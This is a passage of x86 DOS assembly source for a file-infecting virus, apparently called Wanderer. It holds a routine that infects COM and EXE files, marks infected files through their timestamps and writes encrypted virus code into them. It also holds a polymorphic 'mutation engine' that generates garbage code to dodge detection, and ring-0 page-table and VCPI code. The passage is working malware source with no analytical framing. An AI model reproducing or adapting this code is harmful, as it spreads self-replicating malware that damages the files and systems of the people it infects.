jmp_return_dpl0:
jmp return_dpl0

check_extension:
mov ax,[di-4] ; Read file extension
and ax,0F0Fh
cmp ax,('OC' and 0F0Fh) ; (*.CO?) COM file?
je executable_file ; Yes? then jmp
cmp ax,('XE' and 0F0Fh) ; (*.EX?) EXE file?
je executable_file ; Yes? then jmp
jmp return_dpl0

executable_file:
mov si,di
sub si,6
std
mov cx,7
xor bx,bx
l_do_crc: ; Make CRC with filename
lodsb
and al,1Fh
add bl,al
loop l_do_crc
cld
cmp bl,3Fh ; Skip filename (CRC) ?
jne no_skip_file ; No? then jmp
jmp return_dpl0 ; Yes? then jmp

no_skip_file:
mov ax,3D02h
call int_21h ; Open file I/O
xchg ax,bx ; BX := handle
push cs
push cs
pop ds
pop es
call initialize_random_seed
mov ax,5700h
call int_21h ; Get file date & time
mov filedate,dx ; Save
mov filetime,cx
and cl,1Fh
cmp cl,11h ; Already infected?
je close_file ; Yes? then jmp
and byte ptr filetime,0E0h ; Mark infection
or byte ptr filetime,11h
mov dx,offset(buffer2)
mov ah,3Fh
mov cx,BUFFER_SIZE
call int_21h ; Read
cmp ax,BUFFER_SIZE ; Too small?
jne close_file ; Yes? then jmp
call go_end_file
mov ds:filesize_l,ax ; Save original file size
mov ds:filesize_h,dx
cmp ax,0F000h ; Too big?
ja close_file ; Yes? then jmp
cmp ds:signature,'ZM' ; EXE file?
je infect_exe ; Yes? then jmp
mov ds:host_type,0 ; It's a COM file
call setup_engine ; Encrypt virus code
push cx
mov ah,40h
mov dx,offset(buffer2)
call int_21h ; Write original code (end of file)
call go_start_file
pop cx
mov ah,40h
mov dx,BUFFER_SIZE
call int_21h ; Write encrypted virus code
restore_fdate:
mov cx,filetime
mov dx,filedate
mov ax,5701h
call int_21h ; Restore file date and time
close_file:
mov ah,3Eh
call int_21h ; Close file
return_dpl0:
mov ax,4B00h
int 21h ; Re-enter virus int 21h to kill this
; copy done for replication

infect_exe:
cmp ds:pages,5 ; Too small?
jb close_file ; Yes? then jmp
db 83h, 3Eh ; (TASM 2.5 FIX. UNNECESSARY IN 4.0)
dw offset(max_mem)
db 0FFh ; cmp ds:max_mem,0FFFFh
; Needs memory? TSR or exec files?
jne close_file ; Yes? then jmp
mov ds:host_type,1 ; It's an EXE file
xor ax,ax
xchg ax,ds:relo_items ; Numbers of relocation items
; Set it to 0
mov ds:reloc_items,ax
cmp ax,4096 ; Too much items?
ja close_file ; Yes? then jmp
mov ax,ds:ofs_reloc ; Offset of 1st reloc. item
mov ds:ofs_relocitems,ax
mov eax,dword ptr ds:filesize_l
movzx ecx,ds:header_size
shl ecx,4 ; Calculate header size
sub eax,ecx ; Total size - header size
cmp eax,1000h ; Loadable module too small?
jb close_file ; Yes? then jmp
mov si,offset(val_ip)
mov di,offset(file_exeIP)
movsw ; Save Exe IP
movsw ; Save Exe CS
xor ax,ax
mov di,offset(val_ip)
stosw ; Set to 0
stosw ; Set to 0(vir code starts after header)
call go_start_file
mov cx,100h
mov ah,40h
mov dx,offset(buffer2)
call int_21h ; Save modified header
xor cx,cx
mov dx,ds:header_size
shl dx,4 ; Calculate size header
push dx
mov ax,4200h
call int_21h ; Lseek after header
mov dx,offset(buffer2)
mov ah,3Fh
mov cx,BUFFER_SIZE
call int_21h ; Read original code
call setup_engine ; Encrypt virus code
pop dx
push cx
xor cx,cx
mov ax,4200h
call int_21h ; Lseek after header
mov ah,40h
pop cx
push cx
mov dx,BUFFER_SIZE
call int_21h ; Save encrypted virus code after header
call go_end_file
pop cx
mov dx,offset(buffer2)
mov ah,40h
call int_21h ; Save original code (end of file)
jmp restore_fdate

go_start_file:
mov ax,4200h
xor dx,dx
xor cx,cx
call int_21h ; Lseek start
ret

go_end_file:
xor dx,dx
xor cx,cx
mov ax,4202h
call int_21h ; Lseek end
ret

int_21h:
pushf
db 9Ah ; call far int 21h
ofs_i21 dw 0
seg_i21 dw 0
jnc no_i21_error
mov ax,4B00h
int 21h ; If error then re-enter virus int 21h
; to remove the virus copy done for
; infection
no_i21_error:
ret


; Prepare to call mutation engine
setup_engine:
push bx
mov ax,0FFFFh
call get_n_random ; Get random mask [0..0FFFEh]
mov ds:xor_mask,ax
call encrypt_infection_routine ; Encrypt
mov si,100h ; Always starts at DS:100h (EXE & COM)
mov bp,si
mov cx,VIRUS_SIZE
mov di,offset(buffer1)
mov ax,160h
mov bx,si
pusha
push ds:random1
push ds:random2
call mutation_engine ; Encrypt to calculate the
mov ds:size_in_file,cx ; increase size in file
pop ds:random2
pop ds:random1
popa
call mutation_engine ; Encrypt virus code
call encrypt_infection_routine ; Decrypt inf. routine
pop bx
ret

encrypt_infection_routine: ; Encrypt/decrypt the infection routine
pusha
mov si,offset(infect_file)
mov cx,offset(return_dpl0)-offset(infect_file)
mov ax,ds:xor_mask
l_enc:
xor [si],ax
inc si
inc si
loop l_enc
popa
ret


filesize_l dw 0
filesize_h dw 0
size_in_file dw 0
xor_mask dw 0
file_exeIP dw 0
file_reloCS dw 0
reloc_items dw 0
ofs_relocitems dw 0


; Wanderer Mutation Engine
; Parameters :
; DS:SI -> code to encrypt
; ES:DI -> buffer
; CX -> size
; BP -> delta offset (runtime offset)
; AX -> max size of decryptor
; BX -> min size of decryptor
; Return :
; CX -> size of decryptor + data encrypted

mutation_engine:
mov enc_buffer,di ; Addr. buffer
mov delta_ofs,bp ; Addr. source code
mov mask_dec_ofs,0
mov end_encryptor,0C3h ; RET
mov code_size,cx ; Number of bytes to encrypt
push cs
pop es
sub ax,bx ; Decryptor size in [BX..AX]
call get_n_random ; [0..AX-BX]
add ax,bx ; [BX..AX]
mov decryptor_size,ax
add di,ax ; Space for decryptor in buffer
rep movsb ; Copy code to encrypt
mov ax,2
call get_n_random ; [0,1]
mov ptr_select_reg,ax
mov ax,5
call get_n_random ; [0..4]
add al,0Ah ; [0Ah..0Eh]
xchg ax,cx
mov ax,decryptor_size
div cl
sub cl,4
mov operations,cl ; Number of encryption ops
xor ah,ah
mov max_garbage,ax ; Max garbage per operation
mov al,3
call get_n_random ; [0..2]
inc al ; AL in [1..3]
or ds:op_dec_counter,al ; Opcode for decreasing counter
mov ds:reg_counter,al
call get_garbage_number
mov di,enc_buffer
call generate_garbage
mov bx,offset(register_table)
add bx,ptr_select_reg ; Select registers in table
mov al,[bx] ; Register 0 (SI) or 1 (DI)
mov indexreg_op1,al ; Index for operations
mov dl,[bx+2] ; Register 2 (SI) or 3 (DI)
mov ds:indexreg_op2,dl ; Index register
mov bp,decryptor_size
add bp,delta_ofs
call get_garbage_number
call generate_mov ; Load a reg with delta-ofs
mov dl,ds:reg_counter
mov bp,code_size
call get_garbage_number
shr cx,1 ; Decrypt words
call generate_mov ; Load a reg with # of loops
mov ds:in_loop,1
mov ofs_loop_begin,di ; Start of loop code
call get_garbage_number
shr cx,1
call generate_garbage
mov cl,operations ; Number of operations
xor ch,ch
l_gen_op:
push cx
call generate_operation
call get_garbage_number
call generate_garbage
pop cx
loop l_gen_op
mov al,40h ; Gen. inc index reg (SI | DI)
or al,ds:indexreg_op2
stosb
call get_garbage_number
call generate_garbage
mov cx,di ; End loop
sub cx,ofs_loop_begin ; Calculate loop size
inc cx
inc cx
push si
mov si,offset(code_loop) ; Generate end-loop code
movsw
movsw
movsw
pop si
add cx,4
neg cx
mov [di-2],cx ; Jmp to begin of loop
jmp fill_with_garbage

code_loop:
op_dec_counter db 48h ; dec reg_counter: DEC CX | DX | BX
jz end_code_loop
db 0e9h,0,0 ; jmp to start of decryption loop
end_code_loop:

;;;; Unused code ! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov al,0E2h ; LOOP opcode
stosb ; Store it
xchg al,cl
neg al ; loop jmp
stosb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

fill_with_garbage:
mov cx,decryptor_size
add cx,enc_buffer
sub cx,di ; Fill buffer with garbage
mov ds:in_loop,0 ; Loop finished
call generate_garbage
push di
mov cx,code_size
mov bx,decryptor_size
add bx,enc_buffer
mov al,ds:indexreg_op2
or ds:mov_pointerreg_bx,al
or ds:inc_pointerreg,al
mov ax,ds:encryptor_ptr
sti
db 89h ; mov index register,bx
mov_pointerreg_bx db 0D8h
l_encrypt_code:
cli
call ds:encryptor_ptr
sti
inc_pointerreg db 40h ; inc index register
loop l_encrypt_code
pop cx
mov dx,enc_buffer
sub cx,dx
add cx,code_size
mov ds:encryptor_ptr,offset(end_encryptor) ; Reset buffers
mov ds:ofs_endencryptor,offset(end_encryptor)
mov al,0F8h
and ds:mov_pointerreg_bx,al ; Clear registers
and ds:inc_pointerreg,al
and ds:op_dec_counter,al
ret

register_table:
db 4 ; SI
db 5 ; DI
db 6 ; SI
db 7 ; DI

generate_operation:
mov ax,7
call get_n_random ; [0..6]
shl ax,2 ; AX in [0,4,8,...,24]
mov si,offset(operation_table)
add si,ax ; Select operation
mov bx,ds:encryptor_ptr
cmp al,20 ; Needs an immediate address?
ja get_immaddr ; Yes? then jmp
mov cx,[si] ; Get decryptor opcode
or ch,indexreg_op1 ; Insert op register
mov [di],cx ; Add to decryptor
mov cx,[si+2] ; Get encryptor opcode
or ch,indexreg_op1 ; Insert op register
scasw ; SI+2, DI+2
cmp al,12 ; Inst. needs a mask?
jb get_inst_mask ; Yes? then jmp
mov [bx-2],cx ; Add to encryptor
sub ds:encryptor_ptr,2 ; Next encryptor entry
ret

get_inst_mask:
mov al,0FFh
call get_n_random ; Get mask [0..0FEh]
mov mask_dec_ofs,di ; Save current offsets
mov mask_enc_ofs,bx
stosb ; Add mask to decryptor
mov [bx-3],cx ; Add instruction to encryptor
mov [bx-1],al ; Add mask to encryptor
sub ds:encryptor_ptr,3
ret

get_immaddr:
cmp mask_dec_ofs,0 ; Any mask instruction?
jz no_mask_inst ; No? then jmp
mov bx,ds:ofs_endencryptor ; Add inst at end of encryptor
mov ax,[si]
stosw ; Add instruction to decryptor
mov ax,[si+2]
mov [bx],ax ; Add instruction to encryptor
mov ax,mask_dec_ofs ; Calculate mask address in decryptor
add ax,delta_ofs
sub ax,enc_buffer
stosw ; Add address to instruction
mov ax,mask_enc_ofs ; Calculate mask address in encryptor
dec ax
mov [bx+2],ax ; Add to encryptor
mov al,0FFh
call get_n_random ; [0..0FEh]
stosb ; Value for adding to the mask
mov [bx+4],al
add ds:ofs_endencryptor,5 ; New end of encryptor
mov byte ptr [bx+5],0C3h ; Add a RET at end
mov mask_dec_ofs,0
no_mask_inst:
ret

operation_table:
db 80h,30h ; xor byte ptr [index],??
db 80h,30h ; xor byte ptr [index],??

db 80h,0 ; add byte ptr [index],??
db 80h,28h ; sub byte ptr [index],??

db 0C0h,0 ; rol byte ptr [index],??
db 0C0h,8 ; ror byte ptr [index],??

db 0D0h,0 ; rol byte ptr [index],1
db 0D0h,8 ; ror byte ptr [index],1

db 0F6h,18h ; neg byte ptr [index]
db 0F6h,18h ; neg byte ptr [index]

db 0FEh,0 ; inc byte ptr [index]
db 0FEh,8 ; dec byte ptr [index]

db 80h,6 ; add byte ptr [imm],??
db 80h,6 ; add byte ptr [imm],??


generate_mov:
mov ax,4
call get_n_random ; [0..3]
mov si,offset(mov_table)
xchg al,ah
aad 3 ; Select mov type
add si,ax
lodsb
shl ax,1 ; Check if needs to use routine 1 or 0
xchg ax,bx
call [bx+offset(mov_select)]
ret

mov_select:
dw offset(mov_r1)
dw offset(mov_r2)

mov_r1: ; Generates: mov reg(dl),value(bp)
movsw ; Store instruction opcodes
or [di-1],dl ; Set destination register
xchg ax,bp
stosw ; Store delta offset
call generate_garbage
ret

mov_r2:

  
; Generates: (xor | sub) reg(dl),reg(dl)
; (add | xor | or) reg(dl),value(bp)
push si
push dx
mov ax,2
call get_n_random ; 0 or 1
shl ax,1 ; Select instruction (clear register)
add ax,offset(reg0_table)
xchg ax,si
movsw ; Store instruction zero register
or [di-1],dl ; Destination register
shl dl,3
or [di-1],dl ; Source reg. (same as destination)
shr cx,1
push cx
push bp
call generate_garbage
pop bp
pop cx
pop dx
pop si
movsw ; Store instruction
or [di-1],dl ; Destination register
xchg ax,bp
stosw ; Store delta offset
call generate_garbage
ret

mov_table:
db 0 ; Use mov_r1
db 0C7h,0C0h ; MOV reg,imm
db 1 ; Use mov_r2
db 81h,0C8h ; OR reg,imm
db 1 ; Use mov_r2
db 81h,0C0h ; ADD reg,imm
db 1 ; Use mov_r2
db 81h,0F0h ; XOR reg,imm

reg0_table:
db 29h,0C0h ; SUB reg,reg
db 31h,0C0h ; XOR reg,reg


get_garbage_number:
mov ax,max_garbage
call get_n_random ; [0..max_garbage-1]
xchg ax,cx
ret

generate_garbage:
and cx,cx ; Generate garbage?
jnz do_garbage ; Yes? then jmp
ret

do_garbage:
mov si,offset(garbage_table)
l_select_entry:
mov ax,1Fh
call get_n_random ; [0..1Eh]
mov dl,al
inc dl ; DL in [1..1Fh]
process_table_entry:
mov al,[si] ; Read entry
cmp al,4Eh ; End of table?
jne check_entry ; No? then jmp
mov si,offset(garbage_table)
jmp process_table_entry

check_entry:
mov dh,al
and al,0Fh ; Get number of opcodes
cbw ; AH:=0 (b'cos AL<80h)
and dl,dl ; Generate this instruction block?
jz generate_block ; Yes? then jmp
dec dl
shr dh,4 ; Calculate next table entry address :
add al,dh ; #opcodes + #patches + 2
add si,ax
inc si
inc si
jmp process_table_entry

generate_block:
push cx
sub cx,ax ; Sub instruction size from garbage
test ch,80h ; Instruction too big?
pop cx
jne l_select_entry ; Yes? then jmp (don't generate)
mov ds:garbagetogen,cx ; Remaining garbage
mov bl,[si+1] ; Read block flags
cmp ds:jmp_ofs,bl ; Allowed instruction? (don't allow
; cond.jmp inside another cond.jmp)
ja l_select_entry ; No? then jmp
mov bh,bl
test bl,40h ; Can be in the decryptor loop?
jne loop_ok ; Yes? then jmp
cmp ds:in_loop,1 ; Is in the loop?
je l_select_entry ; Yes? then jmp
loop_ok:
push ax
mov ax,3Fh
and bl,al ; Get block probabilities
call get_n_random
cmp bl,al ; Generate block?
pop ax
jb l_select_entry ; No? then jmp
inc si
push si
push cx
xor bx,bx
mov bl,dh
and bl,0F0h ; get # of patches
shr bl,4
inc bx
mov cx,ax ; # of opcodes
push si
push di
add si,bx
rep movsb ; Generate block
pop di
pop si
mov cx,bx ; # of patches
dec cx ; Any patch?
jcxz done_patches ; No? then jmp
l_do_patches:
inc si
mov al,[si] ; Read patch from table
mov dl,al
and al,0Fh ; Get byte to patch
cbw
mov bp,ax
mov al,dl
and al,0F0h ; Get function to use
shr al,3
mov bx,ax
add bx,offset(function_table)
call word ptr [bx] ; Call function
loop l_do_patches
done_patches:
pop cx
pop si
mov al,dh
and al,0Fh ; Number of opcodes
cbw
shr dh,4 ; Number of patches
sub cx,ax ; Sub generated # from total garbage
add di,ax ; Inc buffer pointer
add al,dh ; opcodes+patches
add si,ax ; SI points to next table entry
inc si ;
mov al,ds:jmp_ofs
and al,al ; Any jmp?
jz all_garbage? ; No? then jmp
test al,80h ; Generating a jump?
jnz all_garbage? ; Yes? then jmp
; else jmp is finished
add cx,di ; garbage to gen + current offset
mov di,previous_ofs ; Save current offset
sub cx,di ; Sub jmp displacement from garbage
mov ds:jmp_ofs,0
all_garbage?:
and cx,cx ; All garbage generated?
jz exit_garbage ; Yes? then jmp
jmp l_select_entry ; No? then jmp

exit_garbage:
mov previous_ofs,di
ret


function_table:
F_G_BYTE = 0 * 16
dw offset(generate_byte_word)
F_I_OP_REG = 1 * 16
dw offset(insert_op_reg)
F_I_REG = 2 * 16
dw offset(insert_reg)
F_I_MODRM = 3 * 16
dw offset(insert_modrm)
F_I_RM = 4 * 16
dw offset(insert_rm)
F_ADD_0_5 = 5 * 16
dw offset(add_0_5)
F_I_REGRMMOD = 6 * 16
dw offset(insert_regrmmod)
F_G_JXX = 7 * 16
dw offset(generate_jxx)
F_G_WORD = 8 * 16
dw offset(generate_byte_word)
F_I_REG_PRESERVE_MODRM = 9 * 16
dw offset(insert_reg_preserve_modrm)
F_I_RUNTIME_OFS = 10 * 16
dw offset(insert_runtime_ofs)
F_I_LAST_REG_SRC = 11 * 16
dw offset(insert_last_reg_src)
F_I_LAST_REG_DEST = 12 * 16
dw offset(insert_last_reg_dest)


generate_byte_word:
mov al,0FFh
call get_n_random ; [0..0FEh]
mov es:[di+bp],al ; Store byte
test dl,80h ; Generating word?
jz ret_gen_b_w ; No? then jmp
mov al,0FFh
call get_n_random ; [0..0FEh]
mov es:[di+bp+1],al ; Store another byte
ret_gen_b_w:
ret

insert_mod:
mov al,0F0h
call get_n_random ; [0..0EFh]
and al,80h ; AL:=(80h or 0)
mov ah,al
shr al,1 ; AL:=(40h or 0)
or al,ah ; AL:=(0C0h or 0)
or es:[di+bp],al ; 0 -> register index
; 0C0 -> register to register
ret

insert_reg:
mov al,0F0h
call get_n_random ; [0..0EFh]
and al,7 ; Select register
cmp al,ds:reg_sp ; SP ?
je insert_reg ; Yes? then jmp
cmp al,ds:indexreg_op2 ; Used as index ?
je insert_reg ; Yes? then jmp
push ax
and al,3
cmp al,ds:reg_counter ; Used as counter ?
pop ax
je insert_reg ; Yes? then jmp
or es:[di+bp],al ; Insert register
mov unused_reg,al ; Save for later use
ret

add_0_5:
mov al,6
call get_n_random ; [0..5]
add es:[di+bp],al
ret

insert_rm:
mov al,80h
call get_n_random ; [0..7Fh]
and al,00000111b ; AL in [0..7]
cmp al,00000110b ; immediate address?
je insert_rm ; Yes? Skip it
or es:[di+bp],al
ret

insert_modrm:
call insert_mod
call insert_rm
ret

insert_regrmmod:
call insert_reg
shl byte ptr es:[di+bp],3 ; Register
call insert_rm
call insert_mod
ret

insert_op_reg:
mov al,0Fh ; [0..0Eh]
call get_n_random
shl al,3 ; Operation
or es:[di+bp],al ; ADD, OR, ADC,...
call insert_reg
ret

generate_jxx:
mov al,10h ; [0..0Fh]
call get_n_random
or es:[di+bp-1],al ; JO,JNO,JB,JNB,JE,JNE,JBE,JA,
; JS,JNS,JP,JNP,JL,JLE,JG
mov ax,ds:garbagetogen ; Don't jmp out of garbage code
dec ax
dec ax
call get_n_random ; [0..AX-1]
and ax,3Fh ; jmp offset in [0..3Fh]
mov es:[di+bp],al ; Write offset
cbw
pusha
mov cx,ax
or al,80h ; Flag: generating cond. jmp
mov ds:jmp_ofs,al
add di,bp
inc di
call generate_garbage
and ds:jmp_ofs,7Fh ; Clear flag
popa
ret

insert_reg_preserve_modrm:
mov bl,es:[di+bp] ; Read mod, r/m
mov byte ptr es:[di+bp],0
call insert_reg
shl byte ptr es:[di+bp],3 ; Insert register
or byte ptr es:[di+bp],bl ; Previous mod, r/m
ret

insert_last_reg_src:
mov al,unused_reg
or es:[di+bp],al ; Insert register
ret

insert_runtime_ofs:
mov ax,di ; Destination offset
sub ax,enc_buffer ; Offset in buffer
add ax,delta_ofs ; Offset in runtime
add es:[di+bp],ax
ret

insert_last_reg_dest:
mov al,unused_reg
shl al,3
or es:[di+bp],al ; Insert register
ret


; Garbage table format :
; Each entry:
;
; ABh
; |^Number of bytes in this blocks
; Number of fix functions
;
; CDh : 11111111b
; ||^^^^^^Generation probabilty of this block when selected
; |Can be in a loop? (1=yes)
; Can be generated? (1=always, 0=depend of previous generations)
;
; EFh |
; |^Byte to fix | Number of fixes
; Function to use |
; [...] |
;
; GHh (byte 0) | List of opcodes in the block
; [...] |
;

garbage_table:
; TEST ??,imm8 :
db 23h ; 2 fixes, 3 bytes
db 0FFh ; Generate always, in loop, 100%
db F_I_MODRM + 1 ; Function F_I_MODRM in byte 1
db F_G_BYTE + 2 ; Function F_G_BYTE in byte 2
db 0F6h ; byte 0
db 0 ; byte 1
db 0 ; byte 2

; 1 byte opcodes (CLC, STC, CLI, STI, CLD, STD) :
db 11h
db 0FFh
db F_ADD_0_5 + 0
db 0F8h

; Jxx :
db 12h
db 7Fh ; Don't gen a Jxx when another is being gen
db F_G_JXX + 1
db 70h
db 0

; Arithmetic ops :
db 24h
db 0FFh
db F_I_OP_REG + 1
DB F_G_WORD + 2
db 81h
db 0C0h
db 0
db 0

; DEC reg :
db 11h
db 0FFh
db F_I_REG + 0
db 48h

; NOP or XCHG AX,reg :
db 11h
db 0FFh
db F_I_REG + 0
db 90h

; ROL,ROR,RCL,... reg,1
db 12h
db 0FFh
db F_I_OP_REG + 1
db 0D1h
db 0C0h

; NOP or XCHG AX,reg : This entry is duplicated !?
db 11h
db 0FFh
db F_I_REG + 0
db 90h

; NEG reg :
db 12h
db 0FFh
db F_I_REG + 1
db 0F7h
db 0D8h

; CMP xx,reg :
db 12h
db 0FFh
db F_I_REGRMMOD + 1
db 38h
db 0

; MOV reg,xxxx :
db 23h
db 0FFh
db F_I_REG + 0
db F_G_WORD + 1
db 0B8h
db 0
db 0

; INC reg :
db 11h
db 0FFh
db F_I_REG + 0
db 40h

; IN AL,xx :
db 12h
db 0FFh
db F_G_BYTE + 1
db 0E4h
db 0

; MOV reg8,[xxxx] :
db 24h
db 0FFh
db F_I_REG_PRESERVE_MODRM + 1
db F_G_WORD + 2
db 8Ah
db 6
db 0
db 0

; CMP byte ptr [reg+(reg)+imm16],imm8 :
db 35h
db 0FFh
db F_I_RM + 1
db F_G_WORD + 2
db F_G_BYTE + 4
db 80h
db 0B8h
db 0
db 0
db 0

; NOT reg :
db 12h
db 0FFh
db F_I_REG + 1
db 0F7h
db 0D0h

; OR reg,...
db 12h
db 0FFh
db F_I_REGRMMOD + 1
db 0Ah
db 0

db 4Eh ; End of garbage table mark


jmp_ofs db 0
db 0 ; Wasted byte!
garbagetogen dw 0
reg_sp db 4 ; SP register
reg_counter db 81h
indexreg_op2 db 86h
db 80h ; Wasted byte!
in_loop db 0


initialize_random_seed:
pusha
mov ah,2Ch
call int_21h ; Get current time
mov cs:random1,cx ; Hours + minutes
mov cs:random2,dx ; Seconds + hundredths of second
popa
ret

get_n_random: ; Returns pseudo-random value in [0..(AX-1)]
pusha
call get_random
mov bx,sp
mov cx,dx
mul word ptr ss:[bx+0Eh]
mov ax,cx
mov cx,dx
mul word ptr ss:[bx+0Eh]
add ax,cx
adc dx,0
mov ss:[bx+0Eh],dx
popa
ret

get_random:
mov ax,cs:random1
mov bx,cs:random2
mov cx,ax
mul cs:mult_const
shl cx,3
add ch,cl
add dx,cx
add dx,bx
shl bx,2
add dx,bx
add dh,bl
shl bx,5
add dh,bl
add ax,1
adc dx,0
mov cs:random1,ax
mov cs:random2,dx
ret


mult_const dw 8405h
random1 dw 0
random2 dw 0
encryptor_ptr dw offset(end_encryptor)
ofs_endencryptor dw offset(end_encryptor)


kill_copy4infection:
call set_ds
mov ax,ss
mov es,ax
mov esi,cs:page_1
mov ds:[esi+infecting],0 ; Can infect again
assume cs:data0
mov esp,cs:_esp
assume cs:wanderer
mov edi,esp
mov ecx,STACK_SIZE/4
cld
db 0F3h,66h,67h,0A5h ; rep movsd (TASM FIX)
; Restore stack
push ds
pop es
xor ebp,ebp
mov esi,90h ; Restore pages allocated by infection procedure
l_restore_pages:
mov edx,cs:old_pages[ebp*4]
call map_page
inc esi ; Next 4KB
inc bp ; Next page
cmp bp,3 ; old_page1,2 and 3 restored?
jne l_restore_pages ; No? then jmp
exit_21h:
xor ax,ax
mov ds,ax
mov es,ax
popad
iretd ; Return to original caller

; Format of a Page Table Entry
;
; 31 12 11 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÑÍÍÍÑÍÑÍÑÍÍÍÑÍÑÍÑÍ»
; º ³ ³ ³ ³ ³ ³U³R³ º
; º PAGE FRAME ADDRESS 31..12 ³ AVAIL ³0 0³D³A³0 0³/³/³Pº
; º ³ ³ ³ ³ ³ ³S³W³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÏÍÍÍÏÍÏÍÏÍÍÍÏÍÏÍÏͼ
;
; P - PRESENT
; R/W - READ/WRITE
; U/S - USER/SUPERVISOR
; D - DIRTY
; AVAIL - AVAILABLE FOR SYSTEMS PROGRAMMER USE
; NOTE: 0 INDICATES INTEL RESERVED. DO NOT DEFINE.

map_page:
mov edi,cs:pagetable
mov ebx,[edi][esi*4] ; Read page in page table
mov dl,67h
mov [edi][esi*4],edx ; Store new page in page table
mov eax,cr3
mov cr3,eax
ret

setup_system_regs:
movzx ebx,ds:virus_cs
shl ebx,4
add ebx,offset(GDTR) ; Calculate GDTR phys address
mov ds:addr_GDTR,ebx
add ebx,IDTR-GDTR ; Calculate IDTR phys address
add ds:addr_IDTR,ebx
mov cx,ds:addr_dir_page
mov es,cx
shr cx,8
mov ax,0DE06h ; VCPI - Get dir page phys addr in 1st MB
call VCPI
mov ds:_CR3,edx ; EDX = physical address of dir page
mov ax,0DE06h ; VCPI - Get phys addr of page in 1st MB
mov cx,es
shr cx,8
inc cx ; Addr of page table
call VCPI
or dl,7 ; User level, read-write, present
mov es:[0],edx ; Store page table in page directory
ret

VCPI:
int 67h ; - LIM EMS
and ah,ah ; Error or VCPI not present ?
jz no_ems_error ; No? then jmp
pop ax
jmp exec_host
no_ems_error:
ret

;
; DATA SEGMENT DESCRIPTOR
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º
; º BASE 31..24 ³G³B³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4
; º ³ ³ ³L³ ³ ³ ³1³0³E³W³A³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; EXECUTABLE SEGMENT DESCRIPTOR
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º
; º BASE 31..24 ³G³D³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4
; º ³ ³ ³ ³L³ ³ ³ ³1³0³C³R³A³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
;
; DESCRIPTORS USED FOR SPECIAL SYSTEM SEGMENTS
;
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÑÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º ³ ³ ³ ³A³ ³ ³ ³ ³ ³ º
; º BASE 31..24 ³G³X³O³V³ LIMIT ³P³ DPL ³0³ TYPE ³ BASE 23..16 º 4
; º ³ ³ ³ ³L³ 19..16 ³ ³ ³ ³ ³ º
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
; º ³ º
; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0
; º ³ º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
;
; A - ACCESSED E - EXPAND-DOWN
; AVL - AVAILABLE FOR PROGRAMMERS USE G - GRANULARITY
; B - BIG P - SEGMENT PRESENT
; C - CONFORMING R - READABLE
; D - DEFAULT W - WRITABLE
; DPL - DESCRIPTOR PRIVILEGE LEVEL
;
; System and Gate descriptor types :
;
; Code Type of Segment or Gate
; 0 -reserved
; 1 Available 286 TSS
; 2 LDT
; 3 Busy 286 TSS
; 4 Call Gate
; 5 Task Gate
; 6 286 Interrupt Gate
